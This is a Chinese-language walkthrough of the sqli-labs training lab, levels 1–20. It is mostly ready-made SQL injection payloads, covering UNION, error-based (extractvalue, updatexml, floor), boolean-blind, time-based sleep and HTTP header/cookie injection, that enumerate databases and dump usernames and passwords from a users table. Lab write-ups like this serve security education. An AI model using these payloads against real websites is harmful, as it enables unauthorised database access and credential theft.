Less-1联合查询[ ’ ]
优点:查询方便 速度很快
缺点:必须要有显示位
1、判断sql语句中一共返回了多少列
order by 3 --+
对比如下两张图的显示页面。得知有3列
union select 1,2,3 --+
union select 1,2,database() ## 当前数据库名
union select 1,database(),schema_name from information_schema.schemata limit 0,1 --+ # 爆出一个数据库
union select 1,database(),group_concat(schema_name) from information_schema.schemata --+ # 爆出全部数据库
union select 1,database(),(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+ # 爆出数据库" security "里的一个表名
union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+ # 爆出数据库" security "里的所有表名
union select 1,database(),( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1) --+ # 从表名" users "中爆出一个字段来
union select 1,database(),( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users' ) --+ # 从表名" users "中爆出全部字段来
union select 1,database(),concat(id,0x7e,username,0x7e,password) from users limit 0,1 --+ # 从" users "表里对应的列名中爆出一个数据来
union select 1,database(),(select group_concat(concat(id,0x7e,username,0x7e,password)) from users) --+ # 从" users "表里对应的列名中爆出所有数据来
Less-2 联合查询[ ]
Less-3 联合查询[ ') ]
Less-4 联合查询[ ") ]
均按照Less-1查询步骤做细微调整即可(具体调整内容为见[ ]内)
Less-5 报错注入[ ’ ]
缺点:必须有数据库报错信息
1、爆数据
and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+ # 当前数据库
and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+ # 爆出一个数据库
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+ 从当前数据库里爆出一个表名
and extractvalue(1,concat(0x7e,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ),0x7e)) --+ # 从当前数据库里的" users "表里爆出一个字段名来
and extractvalue(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e)) --+ # 从" users "表里对应的列名中爆出一个数据来
1、爆数据
and updatexml(1,concat(0x7e,(select database()),0x7e),3) --+ # 当前数据库
2、爆库名
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),3) --+ # 爆出一个数据库
3、爆表名
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+ 从当前数据库里爆出一个表名
4、爆列名
and updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ),0x7e),3) --+ # 从当前数据库里的" users "表里爆出一个字段名来
5、爆数据
and updatexml(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e),3) --+ # 从" users "表里对应的列名中爆出一个数据来
1、爆数据
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ # 当前数据库
2、爆库名
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ # 爆出一个数据库
3、爆表名
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ 从当前数据库里爆出一个表名
4、爆列名
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema ='security' and table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ # 从当前数据库里的" users "表里爆出一个字段名来
5、爆数据
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ # 从" users "表里对应的列名中爆出一个数据来
至此,报错注入完成。
Less-6 报错注入[ " ] 模仿Less-5报错注入步骤即可。
Less-7 本题要用到菜刀,本人水平有限,暂时跳过。
Less-8 布尔盲注[ ’ ]
优点:不需要显示位,不需要数据库报错信息,
只需要当数据库语句执行时没有结果和正常执行要有区别
缺点:速度慢
加单引号,页面返回不正常,通过–+注释后面的内容,内容返回正常
1、判断当前数据库的长度
and length(database())=8 --+
2、判断当前数据库里有几张表
and ((select count(*) from information_schema.tables where table_schema=database())=4) --+
3、判断每张表的长度
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ #表"emails"
或⬇
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1--+ #表"emails"
4、判断表" users "的列数
and ((select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3) --+
4.1、判断某张表的列数(以下也是以表" users "为例
and ((select count(*) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1))=3) --+
5、判断某张表里对应的字段的数据的长度
and length((select username from users where id =1))=4 --+ # id=1,这个用户名的长度为4
and length((select password from users where id =1))=4 --+ # id=1,这个用户名的密码的长度为4
2、猜测内容
1、猜测当前数据库的名字
and ascii(substr((select database()),1))=115--+
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),5))=115 --+
3、猜测某张表里的某个列名(以username为例,位于第二个)
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),8))=101 --+
3.1、猜测某张表里的某个列名(以表" users “里的字段” username "为例
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 1,1),8))=101 --+
4、猜测某张表里列名为" username "的数据
and ascii(substr((select username from users where id =1 ),2))=117 --+ # 以" Dump 为例"
或⬇
and ascii(substr((select username from users limit 0,1),1)) = 68--+
Less-9 延迟注入[ ’ ]
优点:不需要显示位,不需要数据库报错信息,
不需要页面有区别
缺点:速度太慢,误差大
and sleep(5) --+ # 注入点正确时,页面卡住5秒中
2、if(表达式,值1,值2)
可以与盲注结合,形成基于时间的盲注
and if(length(database())=8,sleep(5),1) --+ # 表达式为Ture时,页面卡住5秒。否则页面卡住一秒
Less-10 延迟注入[ ” ]
双引号闭合的时间延迟型盲注。
Less-11 联合查询【 ’ 】
**POST提交参数
模拟真实环境,我们作为Dump用户使用Dump密码登陆,可以看到以下
1、注入点判断
然后基于post提交数据的联合查询(同GET一样的操作,不一样的位置)
2、查看显示位
uname=不存在的用户' union select 1,2 #&passwd=&submit=Submit
POST提交参数
基于post提交数据的联合查询(同GET一样的操作,不一样的位置)
Less-13 报错注入【 ') 】
POST提交参数
1、注入点判断
2、爆数据
uname=账号无所谓') and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=Dumb&submit=Submit # 爆出当前的数据库
基于post提交数据的报错注入(同GET一样的操作,不一样的位置)
Less-14 报错注入【 " 】
POST提交参数
Less-15 布尔盲注【 ’ 】
POST提交参数
1、根据回显的页面的不同来判断
2、操作和GET操作的一样。位置不一样而已
基于post提交数据的布尔盲注(同GET一样的操作,不一样的位置)
Less-16 布尔盲注【 " 】
POST提交参数
Less-17 报错注入【 ’ 】
POST提交参数
开始注入;
1.爆数据库名
a' or updatexml(1,concat('#',(select database())),1)#
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
错误: 查询数据时,并不能直接用简单的select concat(username),这样会引起报错,
在这里插入图片描述
错误原因: 在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询
4.爆出所有用户和密码
' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a)),1)#
通过改变0位置的数值可以逐行查看到。每一个用户。
解释一下代码,’ or updatexml(1,concat(’#’,(注入语句)),1)#
两个1都是凑字段的。
Less-18 http头部报错注入字段【 ’ 】
修改 User-Agen(前提,登录的账号密码要对)
1、通过Bp抓取数据包
爆数据
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 爆出当前数据库
1.爆数据库
' or updatexml(1,concat('#',(select database()),'#'),1),1,1)#
2.爆表名
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'#'),1),1,1)#
3.爆字段名
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'#'),1),1,1)#
4.爆用户
' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a),'#'),1),1,1)#
通过修改limit后面的数值,来查询每个用户的账号和密码。
Less-19 http头部报错注入【 ’ 】
修改 Referer 字段
1、通过Bp抓取数据包
2、爆数据
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 报错型注入
题目应该和18关用差不多的方法。经过验证19关是修改http头里面的referer。
方法基本和18关一样,但有一点19关我们要注入的语句需要减少一个凑字段的1.
注入语句原型为:’ or updatexml(1,concat(’#’,(clause),’#’),1),1)#
Less-20 Cookie注入
报错注入【 ’ 】
1、爆数据
Cookie 头字段注入
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 # 报错型注入
由于20关注入语句为查询语句,使用联合注入也可以,语句为:
' union select 1,2,database() #
结束语:本次sqli-labs 1-20关通关攻略到此为止,第一次写可能有一些小瑕疵请大家多包涵,谢谢观看!